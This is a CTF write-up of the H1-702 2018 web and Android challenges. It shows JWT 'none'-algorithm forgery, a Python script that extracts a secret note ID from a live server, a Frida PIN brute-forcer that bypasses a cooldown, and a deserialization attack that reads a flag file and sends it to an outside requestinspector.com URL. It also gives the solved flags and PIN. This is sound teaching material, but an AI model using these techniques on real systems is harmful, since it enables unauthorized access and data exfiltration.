A writeup on web and android challenges solved during H1-702 2018 CTF.
Web Challenge 1
Challenge statement pointed out to an URL(http://159.203.178.9/). The index page informs about a service running on the server which allows to store notes and retrieve them later. But the index page doesn't tell where the service is running. It also tells that one note contains the flag.
So, to find the service first step was to run a full nmap scan, which didn't find any services other than HTTP and SSH. So next step was to run a dirbuster scan(was lazy to run it locally so used this). It found a README.html file.
It stated few methods and rules to access the service. The authentication was done using JWT token passed in the Authorization header. Also, README stated that different versions can be used but for now only application/notes.api.v1+json
is supported.
While fuzzing with version, it showed that it rejects every version other than application/notes.api.v1+json
and application/notes.api.v2+json
. Initially, no difference was observed.
So our target is to somehow get the note which contains the flag(secret-note). But, when the resetNotes method is called all notes disappear. So, this user must not be having any secret-note. Also from JWT token(which was used in examples, I was using the same token), it's clear that the user ID of the current user is 2, flag owner's user id maybe 0 or 1. So, the first task was to get access to another user. So, thinking of JWT token either none
algorithm or confusion between RSA and HMAC comes to mind. It turns out that the server trust the token signed using none algorithm. As fussing with the ID in JWT token. It turns out that only two users are allowed one with id=1
and other id=2
.
Now, being able to access the proper account(id=1). It's observed that even after calling reset notes function. One note is always on the server which must contain flag. So, next task is to get the ID of the secret-note because a note can be access by the ID only.
After struggling for hours. I found a weird behavior that when a new line is passed in the content of a note, two notes with null epoch time appears. And the when accessing the note with the ID returned from the last request. Only content before the newline character(0x0a) is returned. Also, the epoch time is null for it. And when we use content after newline as the ID to access a note. It returns the expected epoch time for the creation of the note which we previously created. So, using this information, one may guess that the structure of the file. In which notes were stored is like:
note1-id:note1-content:note1-epoch-time-of-creation
note2-id:note2-content:note2-epoch-time-of-creation
Here :
just represent a boundary character, any other character/string might have also been used.
Knowing this doesn't help to get secret-note id because whichever character is used to separate the note's id, content and epoch time is not allowed due to the regex.
There is still some information which hasn't been used. The two different versions which are allowed. So next task was to find what's the difference between this version. To find out the difference, I started to call all methods defined in the documentation and also tried some common, guessable methods which weren't mentioned in the documentation. But got no success. After awhile, it came to notice that when getNotesMetadata is called, the order of epoch in the response was different for different versions. Upon looking further it turns out that version 1 arranged them in the sorted order of the epoch time, while version 2 arranged in the sorted order of their ids. Now it was clear that how to get the id of the note containing the flag.
If we create two notes with id equal to A
and Z
, and the epoch time of the secret-note is in between the epoch time of the notes which we created recently. It indicates that the first character of the secret-note's ID is between A-Y. Here we say A-Y because, if secret-note's ID was something like Zsomeotherstuff
then in the sorted order it would be behind the string Z
. Also, the secret-note's ID can't be Z
because two notes can't have the same ID thus an error would have occurred at the time of creating note itself.
Now, we can get the secret-note's ID character by character. But this requires sending too many requests(26+26+10 for a single character of secret-note's ID). So we can here use the fact that we can create multiple notes using the newline character in a single request. Also, consider that we need to send another createNote request to rearrange the notes properly.
Here is the script which I wrote to automate the task.
import time,requests,json
headers = {
"Accept": "application/notes.api.v2+json",
"Authorization": "eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6MX0.",
"Content-Type": "application/json"
}
url = "http://159.203.178.9/rpc.php"
pattern = "%a, %d %b %Y %H:%M:%S %Z"
def create_note(data,note_id=None):
global pattern
if note_id == None:
r = requests.post(url,headers=headers,params={'method':'createNote'},json={'note':data})
else:
r = requests.post(url,headers=headers,params={'method':'createNote'},json={'note':data,'id':note_id})
return {'response':r.text,'epoch':int(time.mktime(time.strptime(r.headers.get('Date'), pattern)))+5.5*3600}
def get_note(id=None):
return requests.get(url,headers=headers,params={'method':'getNote','id':id}).text
def get_metadata():
return requests.get(url,headers=headers,params={'method':'getNotesMetadata'}).text
def reset_notes():
return requests.post(url,headers=headers,params={'method':'resetNotes'}).text
def decode(obj):
return json.loads(obj);
reset_notes()
targetEpoch = decode(get_metadata()).get("epochs")[0]
print("Traget epoch : %s"%(targetEpoch))
firstTempID = "000000000000z"
targetID = "" # Assuming targetId is chronologically larger than firstTempID
aplhaCapital = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
aplhaSmall = "abcdefghijklmnopqrstuvwxyz"
digits = "0123456789"
checkString = "9Zz"
extraString = "z"*5;
try:
while True:
reset_notes()
#Find next letters category
nextString = "FakeData"
for x in checkString:
nextString += "\n" + targetID + x + extraString
print("Finding next char's category")
checkNoteData = create_note(nextString,targetID or firstTempID)
if "already exists" in checkNoteData.get('response'):
print("[+] ID collison found. Possible targetID.")
break
if "invalid" in checkNoteData.get('response'):
print("Error while trying to find the next char's category: %s"%(targetID))
break
checkNoteData = create_note("RandomDataToRearrangeStuff",extraString*5)
if "invalid" in checkNoteData.get('response'):
print("Some error occurred while rearranging the notes : %s"%(nextString))
break
metaData = decode(get_metadata()).get('epochs')
if metaData.index(targetEpoch) == 1:
print("It's digits")
bruteString = digits
elif metaData.index(targetEpoch) == 2:
print("It's aplhaCaptial")
bruteString = aplhaCapital
elif metaData.index(targetEpoch) == 3:
print("It's aplhaSmall")
bruteString = aplhaSmall
else:
print("Error while trying to find the next char's category:\n%s"%(metaData))
break
reset_notes()
#Build the bruteforce string
nextString = "FakeData"
for currChar in bruteString:
nextString += "\n" + targetID + currChar + extraString
createNoteData = create_note(nextString,targetID or firstTempID)
if "invalid" in createNoteData.get('response'):
print("Error occurred while checking currChar")
break
print("Rearranging sent payload")
checkNoteData = create_note("RandomDataToRearrangeStuff",extraString*2)
if "invalid" in createNoteData.get('response'):
print("Some error occurred while rearranging the notes")
break
metaData = decode(get_metadata()).get('epochs')
targetEpochIndex = len(bruteString) + 1;
try:
targetEpochIndex = metaData.index(targetEpoch)
except ValueError:
print("Some error occured find epoch's index:\n%s"%(metaData))
break
try:
currTargetChar = bruteString[targetEpochIndex - 1] # index - 1 because of extra real ID added ahead
targetID += currTargetChar
print("[+] Refreshed targetID: %s\n"%(targetID))
except ValueError:
print("Some error occured find epoch's index(%d):\n%s"%(targetEpochIndex,metaData))
break
except KeyboardInterrupt as e:
pass
except Exception as e:
print(e.args)
print(e.message)
print("Final ID is: %s"%(targetID))
####
# ID of secret Note: EelHIXsuAw4FXCa9epee
####
Mobile challenge 1
challenge1_release.zip
This challenge was completely a static analysis challenge. The flag was divided into various parts and hidden inside the apk.
It's a great idea to start by first looking into the AndroidManifest.xml file which contains the generic information about the app like its activity, name, services, etc. When building an apk all the XML files get encoded into a non-human readable format. To view their original content we need to decode the apk. It can be done using apktool(link). It also converts the dex file into smali code which is kinda readable code.
$ apktool decode challenge1_release.apk -o decodedfiles/ `
It's easy to analyze an apk if it's source code is in readable java format. To decompile dex into java source code, one needs classes.dex file first, which can be easily obtained by unzipping the apk. Then using the dex2jar tool(link), dex file can be converted to the jar file. Later you can use the jd-gui tool (link) to view java code contained inside the jar file. Also, if you find it exhausting you can use this online tool.
$ unzip challenge2_release.apk -d extracted/
$ cp extracted/classes.dex .
$ dex2jarfolder/d2j-dex2jar.sh classes.dex
The first part was inside the MainActivity class in the function doSomething. flag{so_much
The fourth part was inside the FourthPart class scattered across various functions. _much_wow
Many time the important strings are stored inside the strings.xml
file. It gives Android OS capability to translate them. The strings.xml
file can be found under folder decodedfiles/res/values/
. The third part of the flag is stored under the string name part_3
. analysis
To implement the low-level function or to hide the code many apps uses native libraries. These libraries are provided with the apk itself. Those libraries can be found under the folder extracted/lib/
, each folder represents different architecture they were built for. One can use any architecture's file to analyze the library. Also, one may also use any tool for getting the job done. I have used IDA-pro and x86_64 to analyze it further.
As to find any hardcoded string inside the binary, strings
command-line utility is very helpful.
$ strings extracted/lib/x86_64/libnative-lib.so | grep -E 'part|flag|Flag'
It gives us the second part of the flag. _static_
One may have observed some function in MainActivity class are declared as native. These functions are those which are declared inside the native library. In, this case there are two such functions stringFromJNI
and oneLastThing
.
Now, it's time to look inside the library to get the next part. Till now we have gathered four parts when combined makes flag{so_much_static_analysis_much_wow
as the standard CTF flag format it should end with the character }
. So, we guess there is still a part missing.
The native functions declared inside the MainActivity class need to be named in a specific format inside the library. Which looks like Java_com_hackerone_mobile_challenge1_MainActivity_stringFromJNI
and Java_com_hackerone_mobile_challenge1_MainActivity_oneLastThing
.
Now the function stringFromJNI contains the second part which we found using strings. Now, upon scrolling through the list of functions. There are some weird two or one character named functions. Which returns character values. Looking closer all of them return some readable ASCII value. So when I listed all the characters being returned I found this string _and_cool}
. Which seems to be the last part of the flag.
So, the complete flag becomes: flag{so_much_static_analysis_much_wow_and_cool}
Mobile challenge 2
challenge2_release.zip
An apk was provided to us in this challenge. Upon installing and running the app, it appears to be some kind of pin lock app. After extracting dex file and applying same steps as in challenge 1, we can analyze the source code now. Upon closer look, it appears that app takes 6 digit pin as input then uses the native function named getKey
to converts 6 digit pin into 32 bytes long key. Then initialize an object of class SecretBox
, passing key to the constructor. Where SecretBox
is class from standard crypto library named libsodium
. It then passes ciphertext
and nonce
(both are hardcoded inside the app source code) to the decrypt function of the SecretBox
instance. Where decrypt function uses native functions(from the libsodium
library) to decrypt the ciphertext. If it fails the decrypt function from SecretBox
throws an error, which is caught by try and catch block in MainActivity class and logged to system logs.
The algorithm used for encryption is xsalsa20
with poly1305
. After searching for some time, it appears that the implementation or the algorithm has no known vulnerability.
To sum up, the information we have till now:
ciphertext='9646D13EC8F8617D1CEA1CF4334940824C700ADF6A7A3236163CA2C9604B9BE4BDE770AD698C02070F571A0B612BBD3572D81F99'.decode('hex')
nonce='aabbccddeeffgghhaabbccdd'
key=getKey(sixDigitPIN)
Now what left is to take a deeper look into the native functions. So there are two native functions getKey
and resetCoolDown
. It looks like that the getKey
function checks that the number of tries is less than 51. If the check is true then it generates a 32 byte long key by doing some operation on our passed input(6 digit key). If the check fails then function sleeps for some time, thus trying to block the repeated brute force. Now, the function resetCoolDown
makes the number of tries zero. Now, one can figure out what kind of operation getKey
performs and then rewrite the function on his own machine and them write a script to brute force the 6 digit pin. Or one can use frida to call the method from the app. I used later way.
To run frida, frida-server needs to be running on the phone/emulator. You can download frida and frida-server from here. On linux it can be installed using pip
.
Now, we can write a script which will brute force the 6 digit pin which can decrypt the data. I wrote the following script for it.
console.log("[*] Starting script execution");
setTimeout(function(){
function printInteger(i,z){
return ("000000"+i).slice(-z);
}
function hook_fucntions(){
console.log('[*] Starting execution for hook_fucntions() fucntion.');
Java.perform(function(){
if(! Java.available){
console.log("[-] Java object is not available");
return;
}
var hookClass = Java.use("com.hackerone.mobile.challenge2.MainActivity");
var secretBoxClass = Java.use("org.libsodium.jni.crypto.SecretBox");
var systemClass = Java.use("java.lang.System");
var nonce = Java.array('byte',[ 97, 97, 98, 98, 99, 99, 100, 100, 101, 101, 102, 102, 103, 103, 104, 104, 97, 97, 98, 98, 99, 99, 100, 100]);
var cipherText = Java.array('byte',[ 150, 70, 209, 62, 200, 248, 97, 125, 28, 234, 28, 244, 51, 73, 64, 130, 76, 112, 10, 223, 106, 122, 50, 54, 22, 60, 162, 201, 96, 75, 155, 228, 189, 231, 112, 173, 105, 140, 2, 7, 15, 87, 26, 11, 97, 43, 189, 53, 114, 216, 31, 153]);
console.log("[*]",nonce);
console.log("[*]",cipherText);
Java.choose("com.hackerone.mobile.challenge2.MainActivity",{
"onMatch":function(liveInstance){
console.log("\n");
console.log("[*] Live instace found at",liveInstance);
var secretBoxInstance;
var failed;
var counter = 0;
liveInstance.resetCoolDown();
var currentPin;
var currentKey;
console.log('[*] Performing cooldown');
for(var i = 999999;i>=0;i--){
//Generate the key
currentPin = printInteger(i,6);
currentKey = liveInstance.getKey(currentPin);
console.log("[+] Key for",currentPin,":",liveInstance.bytesToHex(currentKey));
//Try decryption
try{
secretBoxInstance = secretBoxClass.$new(currentKey);
failed = false;
secretBoxInstance.decrypt(nonce,cipherText);
}
catch(err){
failed = true;
}
finally{
if(failed){
console.log("[*] Failed");
}
else{
console.log("[+] Success");
console.log(currentPin,':',currentKey);
break;
}
}
//Reset the count
counter++;
if(counter==49){
systemClass.gc();
liveInstance.resetCoolDown();
console.log('[*] Performing cooldown');
counter = 0;
}
}
console.log("\n");
},
"onComplete":function(){
console.log("[*] Script execution completed.");
}
});
});
console.log('[*] Execution for hook_fucntions() fucntion completed.');
}
hook_fucntions();
},0);
/* Solution PIN: 918264 */
One can run it as:
$ frida -U com.hackerone.mobile.challenge2 -l script.js
Where -U is to indicate a connection on USB and -l instructs to load mentioned script. com.hackerone.mobile.challenge2
describes the process name. For script to work app must be currently running on phone/emulator.
Mobile challenge 3
challenge3_release.zip
Like the challenge 1, this challenge is also a static analysis challenge. Here a zip file was provided. Zip file had two files named boot.oat and base.odex. From Android Lollipop, Android switched from Dalvik to ART architecture. ART architecture uses Ahead-Of-Time compilation to convert DEX files to OAT(Of-Ahead-Time) files. OAT files are native machine code(compiled for a specific configuration of the device). Now, ODEX files are optimized dex files. You can read more about ART at google's official documentation.
I used smali tool from here. It has nice documentaion here on how to use it.
$ ./baksmali deodex --bcp boot.oat -c boot.oat base.odex -o output
$ ./smali assemble --output classes.dex output/
$ dex2jar-2.1/d2j-dex2jar.sh classes.dex
It generates errors that some methods can't be resolved but we don't care for those methods until MainActivity's methods are getting resolved. Now we can use JD-GUI tool to view java source code from the classes-dex2jar.jar
file. There's a function which checks for the flag in the supplied string.
private static char[] key = { 116, 104, 105, 115, 95, 105, 115, 95, 97, 95, 107, 51, 121 };
public static boolean checkFlag(String paramString)
{
if (paramString.length() == 0) {
return false;
}
if ((paramString.length() > "flag{".length()) && (!paramString.substring(0, "flag{".length()).equals("flag{"))) {
return false;
}
if (paramString.charAt(paramString.length() - 1) != '}') {
return false;
}
Object localObject = hexStringToByteArray(new StringBuilder("kO13t41Oc1b2z4F5F1b2BO33c2d1c61OzOdOtO").reverse().toString().replace("O", "0").replace("t", "7").replace("B", "8").replace("z", "a").replace("F", "f").replace("k", "e"));
localObject = encryptDecrypt(key, (byte[])localObject);
return (paramString.length() <= paramString.length()) || (paramString.substring("flag{".length(), paramString.length() - 1).equals(localObject));
}
private static String encryptDecrypt(char[] paramArrayOfChar, byte[] paramArrayOfByte)
{
StringBuilder localStringBuilder = new StringBuilder();
for (int i = 0; i < paramArrayOfByte.length; i++) {
localStringBuilder.append((char)(paramArrayOfByte[i] ^ paramArrayOfChar[(i % paramArrayOfChar.length)]));
}
return localStringBuilder.toString();
}
All function does is to XOR the ciphertext with the key. Both of which are hardcoded in the code.
Mobile challenge 4
challenge4_release.zip exploit-challenge-4.zip
This was kind of different challenge than the previous ones. In this, we need to deliver our exploit as an apk. The server has a flag stored at location /data/local/tmp/challenge4
. Permission to read the flag was given to only the challenge4 app-user and root. The app was a typical maze game.
After doing the usual reversing stuff. AndroidManifest.xml file declares a broadcast receiver to listen for action com.hackerone.mobile.challenge4.broadcast.MAZE_MOVER
. Upon looking into java code there were many classes to control the view of the maze, save state and to start the activity. There were two broadcast receivers declared, one declared in the MenuActivity class which listens for the action com.hackerone.mobile.challenge4.menu
. Other was com.hackerone.mobile.challenge4.broadcast.MAZE_MOVER
. The former one will start the MainActivity which will display the maze. Latter one did three tasks. One, on receiving the get_maze
extra key, it will broadcast player and exit positions along with the walls. Second, on receiving move
extra key, it moves the current player corresponding to the character passed as the value to move
key in extra. And the third was that on receiving cereal
key in extra. It will deserialize the passed object, cast it to the instance of GameState
class, then call initialize method. Obviously, the third one looked strange. So, to check further, GameState
class had few interesting methods. The method initialize
will further call load method from the StateController
class, which is an abstract class, implemented by two classes named BroadcastAnnouncer
and StateLoader
.
BroadcastAnnouncer
had two useful and interesting methods implemented from StateController
class. The method named load
will read data from a file specified. Whereas the named save
would send that data to mentioned URL. This looked perfect for getting the job done. As the method load
was called when initialize is called on GameState
object. Whereas the save
method was called when finalize method is called on GameState
.
public void save(Context context, Object obj) {
new Thread() {
public void run() {
HttpURLConnection httpURLConnection;
try {
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(BroadcastAnnouncer.this.destUrl);
stringBuilder.append("/announce?val=");
stringBuilder.append(BroadcastAnnouncer.this.stringVal);
httpURLConnection = (HttpURLConnection) new URL(stringBuilder.toString()).openConnection();
new BufferedInputStream(httpURLConnection.getInputStream()).read();
httpURLConnection.disconnect();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e2) {
e2.printStackTrace();
} catch (Throwable th) {
httpURLConnection.disconnect();
}
}
}.start();
}
public Object load(Context context) {
this.stringVal = "";
try {
BufferedReader bufferedReader = new BufferedReader(new FileReader(new File(this.stringRef)));
while (true) {
context = bufferedReader.readLine();
if (context == null) {
break;
}
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.append(this.stringVal);
stringBuilder.append(context);
this.stringVal = stringBuilder.toString();
}
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e2) {
e2.printStackTrace();
}
return null;
}
Now the problem is the finalize method is never manually called on the GameState
object. But, we know that if an object becomes inaccessible by any variable. And the garbage collector is called, then before memory is freed, finalize
method is called on the object. As the create
method from GameManager
calls the garbage collector when the new maze is created. So, now finalize
method of GameState
somehow gets called. Now, next, we have to complete at least three levels of the game so that finalize
method calls save method.
public void finalize()
{
Log.d("GameState", "Called finalize on GameState");
if ((GameManager.levelsCompleted > 2) && (this.context != null)) {
this.stateController.save(this.context, this);
}
}
Here, comes the part where we need to play the game using get_maze
and move
to make whole exploit interactionless. Also, we need to send the GameState
object after level2 is completed and before level3 ends.
this.stateController = new BroadcastAnnouncer("MazeGame", "/data/local/tmp/challenge4", "https://requestinspector.com/inspect/listforflag4");
Also, the app which we created needs to start the activity for the maze. The exploit I wrote for it is attached as exploit-challenge-4.apk.